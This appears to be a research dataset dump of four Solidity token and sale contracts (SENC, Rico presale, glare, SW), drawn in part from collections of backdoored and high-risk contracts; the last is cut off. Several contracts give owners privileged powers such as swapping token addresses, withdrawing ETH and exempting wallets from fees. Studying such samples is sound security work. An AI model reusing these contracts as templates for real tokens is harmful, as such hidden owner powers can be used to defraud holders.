pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // SencTokenSale - SENC Token Sale Contract // // Copyright (c) 2018 InfoCorp Technologies Pte Ltd. // http://www.sentinel-chain.org/ // // The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // The SENC token is an ERC20 token that: // 1. Token is paused by default and is only allowed to be unpaused once the // Vesting contract is activated. // 2. Tokens are created on demand up to TOTALSUPPLY or until minting is // disabled. // 3. Token can airdropped to a group of recipients as long as the contract // has sufficient balance. // ---------------------------------------------------------------------------- contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address =&gt; uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value &lt;= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address =&gt; mapping (address =&gt; uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value &lt;= balances[_from]); require(_value &lt;= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue &gt; oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract OperatableBasic { function setPrimaryOperator (address addr) public; function setSecondaryOperator (address addr) public; function isPrimaryOperator(address addr) public view returns (bool); function isSecondaryOperator(address addr) public view returns (bool); } contract Operatable is Ownable, OperatableBasic { address public primaryOperator; address public secondaryOperator; modifier canOperate() { require(msg.sender == primaryOperator || msg.sender == secondaryOperator || msg.sender == owner); _; } function Operatable() public { primaryOperator = owner; secondaryOperator = owner; } function setPrimaryOperator (address addr) public onlyOwner { primaryOperator = addr; } function setSecondaryOperator (address addr) public onlyOwner { secondaryOperator = addr; } function isPrimaryOperator(address addr) public view returns (bool) { return (addr == primaryOperator); } function isSecondaryOperator(address addr) public view returns (bool) { return (addr == secondaryOperator); } } contract Salvageable is Operatable { // Salvage other tokens that are accidentally sent into this token function emergencyERC20Drain(ERC20 oddToken, uint amount) public canOperate { if (address(oddToken) == address(0)) { owner.transfer(amount); return; } oddToken.transfer(owner, amount); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b &gt; 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b &lt;= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c &gt;= a); return c; } } contract SencTokenConfig { string public constant NAME = &quot;Sentinel Chain Token&quot;; string public constant SYMBOL = &quot;SENC&quot;; uint8 public constant DECIMALS = 18; uint public constant DECIMALSFACTOR = 10 ** uint(DECIMALS); uint public constant TOTALSUPPLY = 500000000 * DECIMALSFACTOR; } contract SencToken is PausableToken, SencTokenConfig, Salvageable { using SafeMath for uint; string public name = NAME; string public symbol = SYMBOL; uint8 public decimals = DECIMALS; bool public mintingFinished = false; event Mint(address indexed to, uint amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } function SencToken() public { paused = true; } function pause() onlyOwner public { revert(); } function unpause() onlyOwner public { super.unpause(); } function mint(address _to, uint _amount) onlyOwner canMint public returns (bool) { require(totalSupply_.add(_amount) &lt;= TOTALSUPPLY); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } // Airdrop tokens from bounty wallet to contributors as long as there are enough balance function airdrop(address bountyWallet, address[] dests, uint[] values) public onlyOwner returns (uint) { require(dests.length == values.length); uint i = 0; while (i &lt; dests.length &amp;&amp; balances[bountyWallet] &gt;= values[i]) { this.transferFrom(bountyWallet, dests[i], values[i]); i += 1; } return(i); } }
228,656
12,148
8a524ab9047099f68bd8467095ffcfec236a88b3fbf9a583209796f908fd7fb6
18,603
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0x9334c24f8b7d1e57b4018692a38ab0e019d1bbf0.sol
3,224
12,248
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function _burn(address _burner, uint256 _value) internal { require(_value <= balances[_burner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_burner] = balances[_burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(_burner, _value); Transfer(_burner, address(0), _value); } } contract DividendPayoutToken is BurnableToken, MintableToken { // Dividends already claimed by investor mapping(address => uint256) public dividendPayments; // Total dividends claimed by all investors uint256 public totalDividendPayments; // invoke this function after each dividend payout function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public { dividendPayments[_investor] = dividendPayments[_investor].add(_amount); totalDividendPayments = totalDividendPayments.add(_amount); } //When transfer tokens decrease dividendPayments for sender and increase for receiver function transfer(address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[msg.sender]; // invoke super function with requires bool isTransferred = super.transfer(_to, _value); uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom); dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // balance before transfer uint256 oldBalanceFrom = balances[_from]; // invoke super function with requires bool isTransferred = super.transferFrom(_from, _to, _value); uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom); dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims); dividendPayments[_to] = dividendPayments[_to].add(transferredClaims); return isTransferred; } function burn() public { address burner = msg.sender; // balance before burning tokens uint256 oldBalance = balances[burner]; super._burn(burner, oldBalance); uint256 burnedClaims = dividendPayments[burner]; dividendPayments[burner] = dividendPayments[burner].sub(burnedClaims); totalDividendPayments = totalDividendPayments.sub(burnedClaims); SaleInterface(owner).refund(burner); } } contract RicoToken is DividendPayoutToken { string public constant name = "Rico"; string public constant symbol = "Rico"; uint8 public constant decimals = 18; } // Interface for PreSale and CrowdSale contracts with refund function contract SaleInterface { function refund(address _to) public; } contract ReentrancyGuard { bool private reentrancy_lock = false; modifier nonReentrant() { require(!reentrancy_lock); reentrancy_lock = true; _; reentrancy_lock = false; } } contract PreSale is Ownable, ReentrancyGuard { using SafeMath for uint256; // The token being sold RicoToken public token; address tokenContractAddress; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // Address where funds are transferred after success end of PreSale address public wallet; // How many token units a buyer gets per wei uint256 public rate; uint256 public minimumInvest; // in wei uint256 public softCap; // in wei uint256 public hardCap; // in wei // investors => amount of money mapping(address => uint) public balances; // Amount of wei raised uint256 public weiRaised; // PreSale bonus in percent uint256 bonusPercent; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function PreSale(address _token) public { startTime = 1525251600; endTime = startTime + 80 minutes; wallet = 0xA298811CB7809fe48D74ad571B8a6025F142c3C7; token = RicoToken(_token); tokenContractAddress = _token; // minimumInvest in wei minimumInvest = 1000000000000; // 1 token for approximately 0.00015 eth rate = 1000; softCap = 150 * 0.000001 ether; hardCap = 1500 * 0.000001 ether; bonusPercent = 50; } // @return true if the transaction can buy tokens modifier saleIsOn() { bool withinPeriod = now >= startTime && now <= endTime; require(withinPeriod); _; } modifier isUnderHardCap() { require(weiRaised < hardCap); _; } modifier refundAllowed() { require(weiRaised < softCap && now > endTime); _; } // @return true if PreSale event has ended function hasEnded() public view returns (bool) { return now > endTime; } // Refund ether to the investors (invoke from only token) function refund(address _to) public refundAllowed { require(msg.sender == tokenContractAddress); uint256 valueToReturn = balances[_to]; // update states balances[_to] = 0; weiRaised = weiRaised.sub(valueToReturn); _to.transfer(valueToReturn); } // Get amount of tokens // @param value weis paid for tokens function getTokenAmount(uint256 _value) internal view returns (uint256) { return _value.mul(rate); } // Send weis to the wallet function forwardFunds(uint256 _value) internal { wallet.transfer(_value); } // Success finish of PreSale function finishPreSale() public onlyOwner { require(weiRaised >= softCap); require(weiRaised >= hardCap || now > endTime); if (now < endTime) { endTime = now; } forwardFunds(this.balance); token.transferOwnership(owner); } // Change owner of token after end of PreSale if Soft Cap has not raised function changeTokenOwner() public onlyOwner { require(now > endTime && weiRaised < softCap); token.transferOwnership(owner); } // low level token purchase function function buyTokens(address _beneficiary) saleIsOn isUnderHardCap nonReentrant public payable { require(_beneficiary != address(0)); require(msg.value >= minimumInvest); uint256 weiAmount = msg.value; uint256 tokens = getTokenAmount(weiAmount); tokens = tokens.add(tokens.mul(bonusPercent).div(100)); token.mint(_beneficiary, tokens); // update states weiRaised = weiRaised.add(weiAmount); balances[_beneficiary] = balances[_beneficiary].add(weiAmount); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); } function() external payable { buyTokens(msg.sender); } }
146,916
12,149
85dfd0ceb4619a69c3ee86f6f7f79fcf334a06b744569b0d911df8b5d373f1cc
12,658
.sol
Solidity
false
360539372
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
1d65472e1c546af6781cb17991843befc635a28e
dataset/dapp_contracts/High-risk/0x845D6a8401f467852dd27802ad5803E12E17fE9F.sol
2,867
9,546
pragma solidity >= 0.6.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address account, uint256 amount) external; function burn(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract glare is Owned { using SafeMath for uint; constructor() public { buyMinimum = 10**16; sellMinimum = 10**16; buyTax = 10 * 10**2; referRate = 25 * 10**2; referRateMasternode = 50 * 10**2; earlyPenalty = 90 * 10**2; cdGLXMin = 10**17; cdDurrationMax = 365; scalefactor = 10**12; } struct accountCDStruct { uint256 tokenAmount; uint256 created; uint256 contractDurration; bool closed; } IERC20 public glaretoken; //GLX token interface //BASE BUY AND SELL VARIABLES uint256 public scalefactor; //Price scalar uint256 public buyMinimum; //minimum buy value in ETH uint256 public sellMinimum; //minimum sell value in ETH uint256 public buyTax; //buy tax in 100x tax % uint256 public referRate; //ref rate in 100x ref % uint256 public referRateMasternode; //masternode ref rate in 100x ref % mapping(address => bool) public masternode; //is a refer address a masternode? mapping(address => address) public referBook; //refer book address --> refer address //CD VARIABLES uint256 public tokenTime; //Total number of GLX days uint256 public cdGLXMin; uint256 public cdDurrationMax; uint256 public earlyPenalty; //penalty for closing contract early in 100x 100% - penalty % mapping(address => accountCDStruct[]) public accountCD; //account --> id --> contract data function buyTokens(address inputrefer) public payable { require(msg.value >= buyMinimum, "Does not meet buy minimum"); uint256 tokens = getTokenBuyResult(); uint256 taxedTokens = tokens.mul(buyTax).div(10**4); uint256 userTokens = tokens.sub(taxedTokens); //REF CHECK address refer = referBook[msg.sender]; if(refer == address(0)) { refer = inputrefer; } if(refer != msg.sender) { if(refer != address(0)) { if(referBook[msg.sender] == address(0)) { referBook[msg.sender] = refer; } } } //IF REFER PAY THEM if(referBook[msg.sender] != address(0)) { if(masternode[refer] == true){ uint256 refamt = referRateMasternode.mul(taxedTokens).div(10**4); mintGlareToken(refer, refamt); mintGlareToken(address(this), taxedTokens.sub(refamt)); } else { uint256 refamt = referRate.mul(taxedTokens).div(10**4); mintGlareToken(refer, refamt); mintGlareToken(address(this), taxedTokens.sub(refamt)); } } else { mintGlareToken(address(this), taxedTokens); } mintGlareToken(msg.sender, userTokens); } function sellTokens(uint256 amount) public { uint256 eth = getTokenSellResult(amount); address payable account = msg.sender; require(eth >= sellMinimum, "Does not meet sell minimum"); require(glaretoken.balanceOf(msg.sender) >= amount, "Sell amount exceeds balance"); burnGlareToken(account, amount); account.transfer(eth); } function openCD(uint256 amount, uint256 durration) public { require(amount >= cdGLXMin, "Token amount less than minimum"); require(durration > 0, "CD durration must be at least 1 day"); require(durration <= cdDurrationMax, "CD durration longer than maximum"); require(glaretoken.balanceOf(msg.sender) >= amount, "Lock amount exceeds balance"); require(glaretoken.transferFrom(msg.sender, address(this), amount)); tokenTime = amount.mul(durration).div(10**13).add(tokenTime); accountCDStruct memory newcd; newcd.tokenAmount = amount; newcd.contractDurration = durration; newcd.created = now; accountCD[msg.sender].push(newcd); } function closeCD(uint256 index) public { require(accountCD[msg.sender][index].tokenAmount != 0); require(accountCD[msg.sender][index].closed == false); uint256 contractTokenTime = accountCD[msg.sender][index].contractDurration.mul(accountCD[msg.sender][index].tokenAmount).div(10**13); uint256 tokensdue = contractTokenTime.mul(glaretoken.balanceOf(address(this))).div(tokenTime); if(accountCD[msg.sender][index].created.add(accountCD[msg.sender][index].contractDurration.mul(1 days)) > now) { tokensdue = earlyPenalty.mul(accountCD[msg.sender][index].tokenAmount).div(10**4); } tokenTime = tokenTime.sub(contractTokenTime); accountCD[msg.sender][index].closed = true; glaretoken.transfer(msg.sender, tokensdue); } //VIEW FUNCTIONS //returns the spot price in terms of eth / token function spotprice() public view returns(uint256) { if(glaretoken.totalSupply() == 0) { return(0); } else { return(address(this).balance.mul(2 * 10**18).div(glaretoken.totalSupply())); } } function getTokenBuyResult() public view returns(uint256) { uint256 _sold = glaretoken.totalSupply(); uint256 _ethnew = address(this).balance; uint256 _snew = sqrt(_ethnew.mul(2 * 10**18).div(scalefactor)).mul(10**9); uint256 _sout = _snew - _sold; return(_sout); } function getTokenSellResult(uint256 amount) public view returns(uint256) { uint256 _ethold = address(this).balance; uint256 _sold = glaretoken.totalSupply(); uint256 _snew = _sold.sub(amount); uint256 _ethnew = scalefactor.mul(_snew**2).div(2*10**36); uint256 _ethout = _ethold - _ethnew; return(_ethout); } function getAccountCDLength(address account) public view returns(uint256) { return(accountCD[account].length); } //INTERNAL FUNCTIONS function mintGlareToken(address account, uint256 amount) internal { glaretoken.mint(account, amount); } function burnGlareToken(address account, uint256 amount) internal { glaretoken.burn(account, amount); } //ADMIN FUNCTIONS function setBuyMinimum(uint256 eth) public onlyOwner() { buyMinimum = eth; } function setSellMinimum(uint256 eth) public onlyOwner() { sellMinimum = eth; } function setMasternode(address account, bool status) public onlyOwner() { masternode[account] = status; } function setGlareToken(IERC20 _glaretoken) public onlyOwner() { glaretoken = _glaretoken; } function setCdGLXMin(uint256 amount) public onlyOwner() { cdGLXMin = amount; } function setCdDurrationMax(uint256 durration) public onlyOwner() { cdDurrationMax = durration; } //Additional needed math functions not part of safemath function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } fallback() external payable{ revert(); } receive() external payable { revert(); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
335,823
12,150
1b312697d583c41814908546faa3e3c745f992a5fb08dea311554ba023c82589
14,624
.sol
Solidity
false
454395313
solidproof/projects
e4944c9bb61ee5a4776813b37db72129ff648eb2
SkyWard/Contracts/SW.sol
3,284
13,190
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } contract SW is ERC20, Ownable { IDexRouter private immutable uniswapV2Router; address private immutable uniswapV2Pair; address[] private wethContractPath; mapping (address => bool) private excludedFromFees; mapping (address => uint256) public owedRewards; address public skyRewards; address public skyTreasury; uint256 public maxWallet; uint256 public baseFees; uint256 public liquidityFee; uint256 public treasuryFee; uint256 private swapTokensAtAmount; uint256 private tokensForLiquidity; uint256 private tokensForTreasury; uint256 public bonusRewards; uint256 public bonusRewardsMultiplier; uint256 public rewardsFee; uint256 public rewardsFeeMultiplier; uint256 public currentAth; uint256 public currentPrice; uint256 public resetAthTime; uint256 public supportThreshold; event AthReset(uint256 newAth); event UpdatedBaseFees(uint256 newAmount); event UpdatedMaxWallet(uint256 newAmount); event UpdatedMultipliers(uint256 newBonus, uint256 newRewards); event UpdatedSkyRewardsAddress(address indexed newWallet); event UpdatedSkyTreasuryAddress(address indexed newWallet); event UpdatedSupportThreshold(uint256 newThreshold); constructor(address dexRouter) ERC20("SW", "SW") { uniswapV2Router = IDexRouter(dexRouter); uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uint256 totalSupply = 100000000 * 10**18; swapTokensAtAmount = totalSupply * 1 / 4000; maxWallet = totalSupply * 2 / 100; treasuryFee = 9; liquidityFee = 1; baseFees = treasuryFee + liquidityFee; supportThreshold = 10; bonusRewardsMultiplier = 2; rewardsFeeMultiplier = 2; excludeFromFees(msg.sender, true); excludeFromFees(address(this), true); excludeFromFees(address(0), true); wethContractPath = [uniswapV2Router.WETH(), address(this)]; _mint(msg.sender, totalSupply); transferOwnership(msg.sender); } receive() external payable {} // Transfer tokens function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Amount must be greater than 0"); if (!excludedFromFees[from] && !excludedFromFees[to]) { if (to != uniswapV2Pair) { require(amount + balanceOf(to) <= maxWallet, "Exceeds max wallet"); } checkPrice(); if (from == uniswapV2Pair) { uint256 bonus = 0; bonus = amount * bonusRewards / 100 + owedRewards[to]; if (bonus > 0) { if (bonus <= balanceOf(skyRewards)) { super._transfer(skyRewards, to, bonus); delete owedRewards[to]; } else { owedRewards[to] += bonus; } } } else if (to == uniswapV2Pair && baseFees > 0) { if (balanceOf(address(this)) >= swapTokensAtAmount) { swapBack(); } uint256 fees = 0; uint256 penaltyFees = 0; fees = amount * baseFees / 100; penaltyFees = amount * rewardsFee / 100; tokensForTreasury += fees * treasuryFee / baseFees; tokensForLiquidity += fees * liquidityFee / baseFees; if (fees > 0) { super._transfer(from, address(this), fees); } if (penaltyFees > 0) { super._transfer(from, skyRewards, penaltyFees); } if (owedRewards[from] > 0 && owedRewards[from] <= balanceOf(skyRewards)) { super._transfer(skyRewards, from, owedRewards[from]); delete owedRewards[from]; } amount -= fees + penaltyFees; } } super._transfer(from, to, amount); } // Claim owed rewards (manual implementation) function claimOwed() external { require(owedRewards[msg.sender] > 0, "You have no owed rewards"); require(owedRewards[msg.sender] <= balanceOf(skyRewards), "Insufficient rewards in rewards pool"); super._transfer(skyRewards, msg.sender, owedRewards[msg.sender]); delete owedRewards[msg.sender]; } // Withdraw stuck ETH function clearStuckBalance() external onlyOwner { bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } // Exclude an address from transaction fees function excludeFromFees(address account, bool excluded) public onlyOwner { excludedFromFees[account] = excluded; } // Set the current ATH to current price (manual implementation) function resetAthManual() external onlyOwner { currentPrice = getCurrentPrice(); require(currentPrice != 0, "Not a valid price"); resetAth(currentPrice); emit AthReset(currentPrice); } // Designate rewards address function setSkyRewardsAddress(address _skyRewards) external onlyOwner { require(_skyRewards != address(0), "_skyRewards address cannot be the zero address"); skyRewards = _skyRewards; emit UpdatedSkyRewardsAddress(skyRewards); } // Designate treasury address function setSkyTreasuryAddress(address _skyTreasury) external onlyOwner { require(_skyTreasury != address(0), "_skyTreasury address cannot be the zero address"); skyTreasury = payable(_skyTreasury); emit UpdatedSkyTreasuryAddress(skyTreasury); } // Withdraw non-native tokens function transferForeignToken(address _token, address _to) external onlyOwner returns (bool _sent) { require(_token != address(0), "_token address cannot be the zero address"); require(_token != address(this), "Can't withdraw native tokens"); uint256 _contractBalance = IERC20(_token).balanceOf(address(this)); _sent = IERC20(_token).transfer(_to, _contractBalance); } // Update fees function updateFees(uint256 _treasuryFee, uint256 _liquidityFee) external onlyOwner { require(_treasuryFee + _liquidityFee <= 10, "Must keep fees at 10% or less"); treasuryFee = _treasuryFee; liquidityFee = _liquidityFee; baseFees = treasuryFee + liquidityFee; emit UpdatedBaseFees(baseFees); } // Update max wallet function updateMaxWallet(uint256 _maxWallet) external onlyOwner { require(_maxWallet > 0, "Max wallet must be greater than 0%"); maxWallet = totalSupply() * _maxWallet / 100; emit UpdatedMaxWallet(maxWallet); } // Update bonus rewards and rewards fee multipliers function updateMultipliers(uint256 _bonusRewardsMultiplier, uint256 _rewardsFeeMultiplier) external onlyOwner { require(_bonusRewardsMultiplier > 0, "Bonus rewards multiplier cannot be 0"); require(_bonusRewardsMultiplier <= 5, "Bonus rewards multiplier greater than 5"); require(_rewardsFeeMultiplier <= 2, "Rewards fee multiplier greater than 2"); bonusRewardsMultiplier = _bonusRewardsMultiplier; rewardsFeeMultiplier = _rewardsFeeMultiplier; emit UpdatedMultipliers(bonusRewardsMultiplier, rewardsFeeMultiplier); } // Update support threshold function updateSupportThreshold(uint256 _supportThreshold) external onlyOwner { require(_supportThreshold >= 5 , "Threshold lower than 5%"); require(_supportThreshold <= 20, "Threshold greater than 20%"); supportThreshold = _supportThreshold; emit UpdatedSupportThreshold(supportThreshold); } // Update token threshold for when the contract sells for liquidity and treasury function updateSwapTokensAtAmount(uint256 _swapTokensAtAmount) external onlyOwner { require(_swapTokensAtAmount <= (totalSupply() * 1 / 1000) / 10**18, "Threshold higher than 0.1% total supply"); swapTokensAtAmount = _swapTokensAtAmount * 10**18; } // Liquidity injection helper function function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, owner(), block.timestamp); } // Check current price and modify bonus rewards & reward fees accordingly function checkPrice() private { currentPrice = getCurrentPrice(); require(currentPrice != 0, "Not a valid price"); if (currentPrice <= currentAth || currentAth == 0) { resetAth(currentPrice); 